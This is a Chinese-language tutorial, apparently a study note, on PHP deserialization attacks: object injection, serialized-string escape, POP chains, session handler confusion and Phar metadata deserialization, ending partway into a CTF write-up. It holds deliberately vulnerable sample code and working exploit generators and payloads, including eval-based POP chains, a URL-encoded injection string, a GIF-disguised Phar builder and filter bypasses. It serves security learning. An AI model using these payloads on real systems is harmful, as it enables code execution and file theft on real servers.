PHP反序列化漏洞简单学习
PHP序列化#
默认情况#
<?php
class Ctf {
public $flag = 'flag{****}';
public $name = 'cxk';
public $age = '10';
}
$ctfer = new Ctf(); // 实例化一个对象
$ctfer->flag = 'flag{adedyui}';
$ctfer->name = 'Sch0lar';
$ctfer->age = '18';
echo serialize($ctfer); // 输出结果
?>
输出结果:
O:3:"Ctf":3{
s:4:"flag";s:13:"flag{abedyui}";
s:4:"name";s:7:"Sch0lar";
s:3:"age";s:2:"18";
}
解释:
- O代表对象,因为我们序列化的是一个对象;序列化数组的话则用A来表示。
- 3代表类的名字长三个字符,Ctf 是类名。
- 3代表这个类里有三个属性(三个变量)。
- s代表字符串。
- 4代表属性名的长度,flag是属性名。
- s:13:"flag{adedyui}" 表示字符串,属性长度,属性值。
序列化格式中的字母含义:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
__sleep()函数#
默认反序列化全部内容,可以调用魔法函数__sleep()来选择需要反序列化哪些内容,同时可以进行编码
<?php
class Ctf {
public $flag = 'flag{****}';
public $name = 'cxk';
public $age = '10';
public function __sleep() {
$this->age = base64_encode($this->age);
return array('flag', 'age');
}
}
$ctfer = new Ctf();
$ctfer->flag = 'flag{abedyui}';
$ctfer->name = 'Sch0lar';
$ctfer->age = '18';
echo serialize($ctfer); // 输出结果
?>
访问控制修饰符#
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名
(%00为空白符,空字符也有长度,一个空字符长度为 1)
PHP反序列化#
unserialize()#
反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
<?php
class Ctf {
public $flag = 'flag{****}';
public $name = 'cxk';
public $age = '10';
public $n = 10;
}
$ctfer = new Ctf(); // 实例化一个对象
$ctfer->flag = 'flag{adedyui}';
$ctfer->name = 'Sch0lar';
$ctfer->age = '18';
$str = serialize($ctfer);
var_dump(unserialize($str));
?>
结果:
object(Ctf)#2 (4) {
["flag"]=>
string(13) "flag{adedyui}"
["name"]=>
string(7) "Sch0lar"
["age"]=>
string(2) "18"
["n"]=>
int(10)
}
__wakeup函数#
与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup
魔术方法
如果存在则会先调用__wakeup()
方法,再进行序列化
可以在__wakeup()
方法中对属性进行初始化、赋值或者改变。
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
<?php
class Ctf {
public $flag = 'flag{****}';
public $name = 'cxk';
public $age = '10';
public function __wakeup() {
$this->flag = 'no flag'; // 在反序列化时,flag属性将被改变为“no flag”
}
}
$ctfer = new Ctf(); // 实例化一个对象
$ctfer->flag = 'flag{adedyui}';
$ctfer->name = 'Sch0lar';
$ctfer->age = '18';
$str = serialize($ctfer);
echo $str."\n";
var_dump(unserialize($str));
?>
结果:
O:3:"Ctf":3:{s:4:"flag";s:13:"flag{adedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
object(Ctf)#2 (3) {
["flag"]=>
string(7) "no flag"
["name"]=>
string(7) "Sch0lar"
["age"]=>
string(2) "18"
}
PHP反序列化漏洞#
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。
漏洞触发条件: unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法
魔术方法:
__construct() 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct() 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString() 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup() 使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep() 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct() 对象被销毁时触发
__call() 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发,调用类不存在的静态方法时调用
__get() 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set() 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset() 当对不可访问属性调用isset()或empty()时触发
__unset() 当对不可访问属性调用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__unserialize() 在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略
而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
额外提一下__tostring的具体触发场景:
(1) echo(
obj) 打印时会触发 (2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
挖掘反序列化漏洞的条件是:
- 代码中有可利用的类,并且类中有 __wakeup(), __sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
- unserialize()函数的参数可控。
php对象注入实例一#
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>
如上代码,最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对
php对象注入实例二#
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
echo $txt."\n".$file."\n".$password."\n";
echo file_get_contents($txt,'r');
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")) {
echo "hello friend!<br>";
if(preg_match("/flag/",$file)) {
echo "不能现在就给你flag哦";
exit();
}
else {
include($file);
$password = unserialize($password);
echo $password;
}
}
else {
echo "you are not the number of bugku ! ";
}
?>
hint.php
<?php
class Flag{//flag.php
public $file;
public function __toString() {
if(isset($this->file)) {
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
hint.php文件中使用了魔术方法__tostring()方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的$file,估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链,在index.php文件中发现使用echo将反序列化的对象当作字符串打印,此处就会触发__tostring()方法,并且unserialize()内的变量可控,满足反序列化漏洞条件。直接构造payload:(关于使用php://filter进行任意文件的读取,参照p牛:谈一谈php://filter的妙用)
payload:?txt=php://input&file=hint.php&password=O:4:"Flag":1{s:4:"file";s:8:"flag.php";}
php对象注入实例三#
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
生成注入代码写入flag.php进行命令执行
<?php
class test{
var $test = "<?php echo 1111;?>";
}
$test = new test();
echo serialize($test);
?>
在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。
字符串逃逸#
长度变长#
Demo
<?php
function filter($string){
$filter = '/x/i';
return preg_replace($filter,'yy',$string);
}
$username = 'xixi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可以看出,每有一个x,就会被替换成字符串
要想让password成功反序列化构造的字符串为:";i:1;s:5:"test2";}
做法就是通过username输入 n个x+";i:1;s:5:"test2";}
,因为我们的payload长度为19,所以n为19,即19个x:xxxxxxxxxxxxxxxxxxx
,后面跟上我们想要成功反序列化的字符串即可。
CTF例题#
长度变短#
Demo
<?php
function filter($string){
$filter = '/yy/i';
return preg_replace($filter,'x',$string);
}
$username = 'admin';
$password = 'test2';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
这时候要想控制password的值需要构造username和password,username构造过滤字符,password处构造逃逸字符。
如果我们控制password=test2
,正常反序列化后为:";i:1;s:5:"test2";}
,这正是需要逃逸的字符,需要传入password,同时前边插入任意字符+双引号用来闭合双引号序列化之后:
a:2:{i:0;s:22:"xxxxxxxxxxx";i:1;s:19:"";i:1;s:5:"test2";}";}
通过观察可见要想正常反序列化导致恶意password值逃逸,就需要长度为";i:1;s:19:"
的长度,即长度为12,前边我们知道一个yy减少一个字符,要想包含进来就需要存在12个yy,这样会让构造的password逃逸:
CTF例题#
总结#
总结:
先看过滤函数,找出字符变多还是字符变少,并且计算变化个数
第一步先构造想要的值正常序列化,拿到最终的逃逸字符
第二步逃逸字符前任意字符+双引号闭合,传入要控制的值
第三步序列化看下需要逃逸的部分长度,传入对应的过滤字符
POP链构造#
上面的反序列化漏洞的例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。
POP链利用技巧#
一些方法#
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()
字符串编码#
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
深浅COPY#
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;
php伪协议#
配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
例一#
同名函数
<?php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello bmjoker";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>
如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()
是调用normal类,\_\_destruct()
在程序结束时会去调用normal
类中的action()方法。而我们最终的目的是去调用evil类中的action()
方法,并伪造evil
类中的变量data
,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()
去调用evil
这个类,并且给变量data
赋予恶意代码,比如php探针phpinfo()
,这样就相当于执行\<?php eval("phpinfo();")?>
。尝试构造payload:
<?php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class normal {
function action() {
echo "hello bmjoker";
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new main()));
?>
因为 data为private,ClassObj为protected,序列化生成的字符串有\00,因此需要进行url编码
Payload:a=O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
例二#
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
hack.php
<?php
class MyFile {
public $name = '/etc/hosts';
public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
echo $b."\n";
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
var_dump($b);
?>
一般POP链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。
如上代码我们的目的是去操控name的值,但事实只有user的值可控,所以采取浅copy:a->name = &a->name = &a->user。当变量user改变时,变量name也会跟着改变(其实就是指针指向的问题)。这样就可以通过控制变量user的值来控制name的值。紧接着下面两个str_replace目的是在序列化内容中用大写S表示字符串,这个字符串就支持将后面的字符串用16进制表示,就可以绕过代码中对用户输入"user" 字符串的检测。
例三#
<?php
class start_gg {
public $mod1; // new Call();
public $mod2;
public function __destruct() {
$this->mod1->test1();
}
}
class Call {
public $mod1; // new funct(); 调用test2()方法,不存在,会调用__call()魔术方法
public $mod2;
public function test1() {
$this->mod1->test2();
}
}
class funct {
public $mod1; // new func();
public $mod2;
public function __call($test2,$arr) { // 第一个参数为函数名,第二个为一个Array,参数列表
$s1 = $this->mod1;
$s1();
}
}
class func {
public $mod1; // new string1();
public $mod2;
public function __invoke() { // 类被当作方法时会被调用
$this->mod2 = "字符串拼接".$this->mod1;
}
// func->mod1 = new string1();
// get_flag <- string1.__toString() <- func.__invoke() <- funct.__call() <- Call.test1() <- start_gg
}
class string1 {
public $str1; // new GetFlag();
public $str2;
public function __toString() {
$this->str1->get_flag();
return "1";
}
}
class GetFlag {
public function get_flag() {
echo "flag:xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
echo "1111";
unserialize($a);
?>
hack.php
$a = new start_gg();
$a->mod1 = new Call();
$a->mod1->mod1 = new funct();
$a->mod1->mod1->mod1 = new func();
$a->mod1->mod1->mod1->mod1 = new string1();
$a->mod1->mod1->mod1->mod1->str1 = new GetFlag();
echo serialize($a);
get_flag <- string1.__toString() <- func.__invoke() <- funct.__call() <- Call.test1() <- start_gg
例四#
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
// Modifier<-Test<-Show
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
分析调用链如下
include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()
hack.php
<?php
class Modifier {
protected $var = "D://1.txt";
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$a->source = $a;
$a->str = new Test();
echo urlencode(serialize($a));
?>
PHP Session反序列化#
PHP Session#
Session请求过程#
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
Session_start()函数#
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
Session存储机制#
PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
先来大概了解一下PHP Session在php.ini中主要存在以下配置项:
Directive | 含义 |
---|---|
session.save_handler | 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files |
session.save_path | 设置session的存储路径,默认在/tmp |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php。 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 |
session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 |
session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |
在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同 |
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
下面通过小例子来展示一下存储方式的不同: |
php处理器#
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['username'];
?>
Session文件内容:
username|s:6:"zilc1n";
Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。
php_binary处理器#
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
?>
Session文件内容:
usernames:6:"zilc1n";
Session文件内容为:键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + s + GET参数经过serialize序列化后的值。
php_serialize处理器#
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
?>
序列化的结果为:a:1:{s:8:"username";s:7:"bmjoker";}
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
Session文件内容为:GET参数经过serialize序列化后的值。
Session反序列化漏洞#
存在对Session变量赋值#
php引擎存储Session的格式为
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
---|---|
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session:
Session1.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
接下来使用php引擎来读取Session文件
Session2.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !";
}
}
?>
漏洞的主要原因在于不同的引擎对于竖杠' | '的解析产生歧义。
对于php_serialize引擎来说' | '可能只是一个正常的字符;但对于php引擎来说' | '就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话处理程序的 open 和 read 回调函数。 会话处理程序可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话处理程序。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload:
<?php
class user{
var $name;
var $age;
}
$a = new user();
$a->name = "bmjoker";
$a->age = "888";
echo serialize($a);
?>
序列化之后在前面加上|即可完成注入
不存在对Session变量赋值#
在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。
从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。
Session反序列化POP链构造#
需要在php.ini中对以下选项进行配置:
session.auto_start = off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = off
session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。
session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。
前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){ // 类被当作字符串时被调用
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
hack.php
<?php
class foo1{
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
function __construct(){
$this->obj = new foo3();
}
}
class foo3{
public $varr='phpinfo();';
}
$obj = new foo1();
echo serialize($obj);
?>
本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量。
<form action="http://127.0.0.1/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串,payload为:
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}
Phar反序列化#
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上提出利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar介绍和漏洞原理#
phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。
phar文件有四部分构成:
1. a stub
识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。
这里有两个关键点:
- 文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
- 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
构造有序列化的Phar文件#
本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off
PHP内置phar类,其中的一些方法如下:
//实例一个phar对象供后续操作
$phar = new Phar('joker.phar');
//开始缓冲Phar写操作
$phar->startBuffering()
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//以字符串的形式添加一个文件到 phar 档案
$phar->addFromString('test.php','<?php echo 'this is test file';');
//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar')
//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo()
生成phar文件的代码如下:
phar.php
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='i am bmjoker';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "bmjoker");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>
运行代码会生成一个phar.phar文件在当前目录下,使用01Editor打开
可以明显的看到meta-data是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
受影响的文件操作函数列表 | |||||
---|---|---|---|---|---|
fileatime | filectime | file_exists | file_get_contents | touch | get_meta_tags |
file_put_contents | file | filegroup | fopen | hash_file | get_headers |
fileinode | filemtime | fileowner | fileperms | md5_file | getimagesize |
is_dir | is_executable | is_file | is_link | sha1_file | getimagesizefromstring |
is_readable | is_writable | is_writeable | parse_ini_file | hash_update_file | imageloadfont |
copy | unlink | stat | readfile | hash_hmac_file | exif_imagetype |
这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once
对刚才生成的phar使用文件操作函数实现反序列化读取:
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
$filename = "phar://phar.phar/test.txt";
file_get_contents($filename);
?>
输出
i am bmjoker
成功对meta-data里面的数据进行反序列化输出。
将Phar伪造成其他格式文件#
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub,增加gif文件头
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->data = 'i am bmjoker';
//将自定义meta-data存入manifest
$phar->setMetadata($o);
//添加要压缩的文件
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
运行代码会生成一个phar.phar文件在当前目录下,很明显文件头为GIF89a<?php 、__HALT_COMPILER(); ?>,可以绕过一些仅可以上传图片的点。
漏洞利用条件#
- phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数
- 要有可用的魔术方法作为"跳板";
- 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。
虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。
在禁止phar开头的情况下的替代方法:
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
CTF赛题#
华北赛区 Day1 Web1 Dropbox#
打开页面,登录框没发现利用点,常规注册登录进入后台查看,发现基本功能有文件上传和下载,抓包文件下载,然后尝试修改文件名,获取上传文件和下载文件源代码
接下来就是代码审计,看到有数据库操作,但是审计发现代码都被写死,无法利用,那么利用点初步分析只剩文件上传和文件删除了
查看源代码
- upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
